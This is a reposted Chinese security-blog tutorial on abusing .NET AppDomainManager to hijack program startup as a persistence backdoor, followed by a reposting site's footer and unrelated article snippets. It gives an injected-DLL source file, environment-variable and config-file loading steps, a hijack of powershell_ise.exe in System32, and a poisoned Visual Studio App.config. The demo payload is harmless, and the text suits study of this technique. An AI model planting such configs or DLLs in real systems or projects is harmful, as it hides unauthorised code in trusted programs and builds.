AppDomainManager后門的實現思路

本文講的是AppDomainManager后門的實現思路

0x00 前言

從Casey Smith@subTee學到的一個技巧:針對.Net程序,通過修改AppDomainManager能夠劫持.Net程序的啟動過程。?
如果劫持了系統常見.Net程序如powershell.exe的啟動過程,向其添加payload,就能實現一種被動的后門觸發機制。

0x01 簡介

本文將要介紹以下內容:

劫持自己開發的.Net程序

劫持系統.Net程序powershell_ise.exe

一種針對Visual Studio的利用思路

0x02 相關概念

CLR:

全稱Common Language Runtime(公共語言運行庫),是一個可由多種編程語言使用的運行環境。

CLR是.NET Framework的主要執行引擎,作用之一是監視程序的運行:

  • 在CLR監視之下運行的程序屬于“托管的”(managed)代碼

  • 不在CLR之下、直接在裸機上運行的應用或者組件屬于“非托管的”(unmanaged)的代碼

對于在CLR監視之下的程序,程序啟動的初始化過程可參考如下鏈接:

http://mattwarren.org/2017/02/07/The-68-things-the-CLR-does-before-executing-a-single-line-of-your-code/

值得注意的地方:

如果能從程序啟動的初始化過程中找到一個可供利用的位置,在程序啟動之前加載我們自己的代碼,那么就可以“濫用”CLR的功能,實現對程序的劫持

更理想的情況下:

如果可被劫持的程序是一個系統常用程序,隨開機自啟動,那么,這個方法就能作為一個持續性后門

下面介紹Casey Smith@subTee分享的后門思路:AppDomainManager

0x03 劫持自己開發的.Net程序

注:

代碼引用自:http://subt0x10.blogspot.com/2017/06/attacking-clr-appdomainmanager-injection.html

1、編寫示例程序

使用Visual Studio,選擇c#開發環境,新建控制臺應用程序,工程名:program,代碼如下:

using?System;public?class?Program
{public?static?void?Main(){Console.WriteLine("Inside?the?App");}
}

編譯生成program.exe

程序運行如下圖

AppDomainManager后門的實現思路

2、編寫payload Dll

選擇c#開發環境,新建類庫,工程名:DomainManager,代碼如下:

using System;

namespace DomainManager
{
public class InjectedDomainManager : AppDomainManager
{
public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
{
base.InitializeNewDomain(appDomainInfo);
Console.WriteLine("Blah From AppMgr");
}
}
}

編譯生成DomainManager.dll

3、設置AppDomainManager劫持程序啟動

將DomainManager.dll放于同級目錄

方法1:

cmd設置環境變量:

set APPDOMAIN_MANAGER_ASM=DomainManager, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null

set APPDOMAIN_MANAGER_TYPE=DomainManager.InjectedDomainManager

執行program.exe,通過查看回顯,發現DomainManager.dll先于program.exe執行

成功實現劫持,完整操作如下圖

AppDomainManager后門的實現思路

注:

注意比較執行順序

通過cmd設置環境變量的方法只會作用于當前cmd,不夠通用

方法2:

更加通用的方法:配置config文件

新建program.exe.config,內容如下:

<?xml version="1.0" encoding="utf-8"?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.0"/>
</startup>
<runtime>
<appDomainManagerType value="DomainManager.InjectedDomainManager" />
<appDomainManagerAssembly
value="DomainManager, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" />

</runtime>
</configuration>

注:

config文件命名格式:exe+.config

成功實現劫持,完整操作如下圖

AppDomainManager后門的實現思路

0x04 劫持系統.Net程序powershell_ise.exe

接下來,需要找到可供利用的系統.Net程序,嘗試實現持久性后門

這里選取powershell_ise.exe作為演示

注:

powershell_ise.exe:全稱Windows PowerShell Integrated Scripting Environment(集成腳本環境)

圖形界面,主要用于編寫和調試powershell腳本

操作界面如下圖

AppDomainManager后門的實現思路

為了便于演示,我們需要修改工程DomainManager,使其在運行時彈框

1、添加引用

工程-右鍵-添加引用,選擇System.Windows.Forms

如下圖

AppDomainManager后門的實現思路

代碼修改如下:

using System;
using System.Windows.Forms;
namespace DomainManager
{
public class InjectedDomainManager : AppDomainManager
{
public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
{
base.InitializeNewDomain(appDomainInfo);
Console.WriteLine("Blah From AppMgr");
MessageBox.Show("1");
}
}
}

重新編譯生成DomainManager.dll

2、測試

劫持program.exe成功,如下圖

AppDomainManager后門的實現思路

劫持powershell_ise.exe:

(1)?測試test目錄

將powershell_ise.exe復制到c:test

在同級目錄新建powershell_ise.exe.config,config文件可作適當精簡,精簡后的內容如下:

<?xml version="1.0"?>
<configuration>
<startup>
<supportedRuntime version="v4.0" />
</startup>
<runtime>
<appDomainManagerType value="DomainManager.InjectedDomainManager" />
<appDomainManagerAssembly value="DomainManager" />
</runtime>
</configuration>

c:test目錄下啟動powershell_ise.exe

成功劫持powershell_ise.exe

(2)測試powershell_ise.exe默認目錄

路徑如下:

C:WindowsSystem32WindowsPowerShellv1.0

需要管理員權限,在默認目錄創建劫持文件DomainManager.dll和powershell_ise.exe.config

編譯任意powershell腳本,默認啟動powershell_ise.exe,成功劫持

完整操作如下圖

AppDomainManager后門的實現思路

0x05 一種針對Visual Studio的利用思路

對于Visual Studio的c#工程,在工程目錄下默認存在文件App.config,內容如下:

<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5" />
</startup>
</configuration>

如果對其修改,添加劫持功能,那么在編譯程序時,也會同步修改bin目錄下默認生成的config文件

App.config修改如下:

<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5" />
</startup>
<runtime>
<appDomainManagerType value="DomainManager.InjectedDomainManager" />
<appDomainManagerAssembly value="DomainManager" />
</runtime>
</configuration>

編譯程序,bin目錄下的config文件也被修改,如下圖

AppDomainManager后門的實現思路

如果在bin目錄也放置DomainManager.dll,那么在程序啟動時會被劫持,如下圖

AppDomainManager后門的實現思路

0x06 小結

本文介紹了一種通過修改AppDomainManager實現的被動后門觸發機制,分析了利用思路,站在防御者的角度,只需要留意.Net程序同級目錄下的config文件就好。




原文發布時間為:2017年6月18日
本文作者:3gstudent?
本文來自云棲社區合作伙伴嘶吼,了解相關信息可以關注嘶吼網站。
原文鏈接

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/280416.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/280416.shtml
英文地址,請注明出處:http://en.pswp.cn/news/280416.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

所有內耗,都有解藥。

你是否常常會有這種感覺&#xff1a;剛開始接手一件事情&#xff0c;腦海中已經幻想出無數個會發生的問題&#xff0c;心里也已篤定自己做不好&#xff1b;即使別人不經意的一句話&#xff0c;也會浮想一番&#xff0c;最終陷入自我懷疑&#xff1b;隨便看到點什么&#xff0c;…

ABAP 通過sumbit調用另外一個程序使用job形式執行-簡單例子

涉及到兩個程序&#xff1a; ZTEST_ZUMA02 (主程序)ZTEST_ZUMA(被調用的程序&#xff0c;需要以后臺job執行)"ztest_zuma 的代碼DATA col TYPE i VALUE 0.DO 8 TIMES.MESSAGE JOB HERE TYPE S.ENDDO.程序ZTEST_ZUMA是在程序ZTEST_ZUMA02中以job的形式調用的&#xff0c;先…

那些影響深遠的彎路

靜兒最近反思很多事情&#xff0c;不僅是當時做錯了。錯誤定式形成的思維習慣對自己的影響比事情本身要大的多。經常看到周圍的同事&#xff0c;非常的羨慕。他們都很聰明、有自己的方法。就算有些同事工作經驗相對少一些&#xff0c;但是就像在廢墟上創建一個輝煌的城市要比在…

如何使用APTonCD備份和還原已安裝的Ubuntu軟件包

APTonCD is an easy way to back up your installed packages to a disc or ISO image. You can quickly restore the packages on another Ubuntu system without downloading anything. APTonCD是將安裝的軟件包備份到光盤或ISO映像的簡便方法。 您可以在不下載任何東西的情況…

rest_framework10:base64補充/修改頭像

base64補充 # base64 變長&#xff0c;可反解 # md5 固定長度&#xff0c;不可反解# base64 編碼和解碼 import base64 import json dic{name:test,age:18} dic_strjson.dumps(dic)retbase64.b64encode(dic_str.encode(utf-8)) print(ret)# 解碼 ret2base64.b64decode(ret) pri…

next_permutation(全排列算法)

next_permutation(全排列算法) STL提供了兩個用來計算排列組合關系的算法&#xff0c;分別是next_permutation和prev_permutation。 首先解釋下全排列&#xff0c;顧名思義&#xff0c;即一組數的全部排列的情況。 next_permutation 即列出一組數的全部排列情況&#xff0c;不過…

C#自定義字符串壓縮和解壓縮源碼庫

如下的內容是關于C#自定義字符串壓縮和解壓縮庫的內容。class ZipLib{public static string Zip(string value){byte[] byteArray new byte[value.Length];int indexBA 0;foreach (char item in value.ToCharArray()){byteArray[indexBA] (byte)item;}System.IO.MemoryStrea…

使用 Visual Studio 2022 調試Dapr 應用程序

使用Dapr 編寫的是一個多進程的程序, 兩個進程之間依賴于啟動順序來組成父子進程&#xff0c;使用Visual Studio 調試起來可能會比較困難&#xff0c;因為 Visual Studio 默認只會把你當前設置的啟動項目的啟動調試。好在有Visual Studio 擴展&#xff08;Microsoft Child Proc…

卸載 cube ui_如何還原Windows 8附帶的已卸載現代UI應用程序

卸載 cube uiWindows 8 ships with built-in apps available on the Modern UI screen (formerly the Metro or Start screen), such as Mail, Calendar, Photos, Music, Maps, and Weather. Installing additional Modern UI apps is easy using the Windows Store, and unins…

rest_framework11:jwt簡單例子/自定制基于jwt認證類

jwt簡單例子 一、登陸設置 1.不需要寫login的視圖類&#xff0c;使用jwt內置的。 2.需要前置條件&#xff0c;已有繼承AbstractUser models,并且有數據&#xff0c;用于校驗&#xff0c;返回token。 urls.py from rest_framework_jwt.views import obtain_jwt_tokenurlpat…

Java各種數據類型,自己學習寫的筆記!!!

java編程規范&#xff1a; 1.良好的標識符的命名保留字不能作為標識符命名&#xff1a; class、public、static..., goto,const區分大小寫&#xff1a;helloWorld、HelloWorld 2.良好的注釋習慣 3.良好的縮進&#xff1a;沒遇到一個代碼塊縮進一次&#xff08;一個tab鍵&…

Java Decompiler(Java反編譯工具)

Java Decompiler官網地址&#xff1a;http://jd.benow.ca/ 官網介紹&#xff1a; The “Java Decompiler project” aims to develop tools in order to decompile and analyze Java 5 “byte code” and the later versions. JD-Core is a library that reconstructs Java sou…

20位程序員關于求職的疑問,以及我給出的參考答案

作者&#xff1a;陸小鳳首發&#xff1a;公眾號【程序員江湖】閱讀本文大概需要 6 分鐘。前幾天發了一條朋友圈對于求職小伙伴們提出的問題&#xff0c;我進行了收集整理&#xff0c;統一反饋。也許這20個問題也是你們遇到的問題&#xff0c;所以趁著年前趕緊把它發出來。以下2…

MassTransit | 基于MassTransit Courier 實現 Saga 編排式分布式事務

Saga 模式Saga 最初出現在1987年Hector Garcaa-Molrna & Kenneth Salem發表的一篇名為《Sagas》的論文里。其核心思想是將長事務拆分為多個短事務&#xff0c;借助Saga事務協調器的協調&#xff0c;來保證要么所有操作都成功完成&#xff0c;要么運行相應的補償事務以撤消先…

ccleaner無法更新_CCleaner正在靜默更新關閉自動更新的用戶

ccleaner無法更新CCleaner is forcing updates on users who specifically opt out of automatic updates. Users will only find out about these unwanted updates when they check the version number. CCleaner強制對專門選擇退出自動更新的用戶進行更新。 用戶只有在檢查版…

查找域內所有的Windows Server 2012 R2的服務器,并區分出哪些是物理機,那些是虛擬機...

通過使用Get-Adcomputer和Get-Wmiobject 組合來實現。思路是這樣的&#xff0c;先看一臺服務器的屬性值有什么可用利用的。[12r2-dc]: PS C:\> Get-ADComputer -Identity 12r2-dc -Properties *AccountExpirationDate :accountExpires …

rest_framework12:多登陸方式與自動簽發token/配置過期時間

多登陸方式與自動簽發token views.py 1.繼承Viewset&#xff0c;方法里可以使用自定義login&#xff0c;更直觀。需要路由直接配置請方式 2. 序列化是直接對request數據處理&#xff0c;并從對象中獲取token 3.context可以儲存自定義數據 # 多登陸方式&#xff0c;自動簽發…

20165310_獲獎感想與Java階段性學習總結

獲獎感想與Java階段性學習總結 一、Learning By Doing ? 在此之前&#xff0c;其實我并沒有想到能夠成為小黃杉的第一批成員之一&#xff0c;喜悅之余&#xff0c;也感受到了許多的壓力。小黃杉一方面代表了老師對于我這一階段學習成果的肯定&#xff0c;但同時也是對我的督促…

chrome瀏覽器崩潰_不只是您:Chrome瀏覽器在Windows 10的2018年4月更新中崩潰

chrome瀏覽器崩潰If your computer is hanging or freezing after installing the Windows 10 April 2018 Update you’re not alone, and Microsoft is aware of the problem. 如果在安裝Windows 10 April 2018 Update之后計算機掛起或死機&#xff0c;您并不孤單&#xff0c;…

讀名老中醫之路筆記(二)

任應秋&#xff1a;我的治學門徑和方法 任應秋先生從幼讀經&#xff0c;十三經皆能成誦&#xff0c;屬于帶童子功的醫學家&#xff0c;他的醫學經驗&#xff1a; 一、讀經宜讀全本&#xff0c;解經宜先識字&#xff0c;讀經宜正音讀&#xff0c;強調對經典著作的朗讀和背誦&…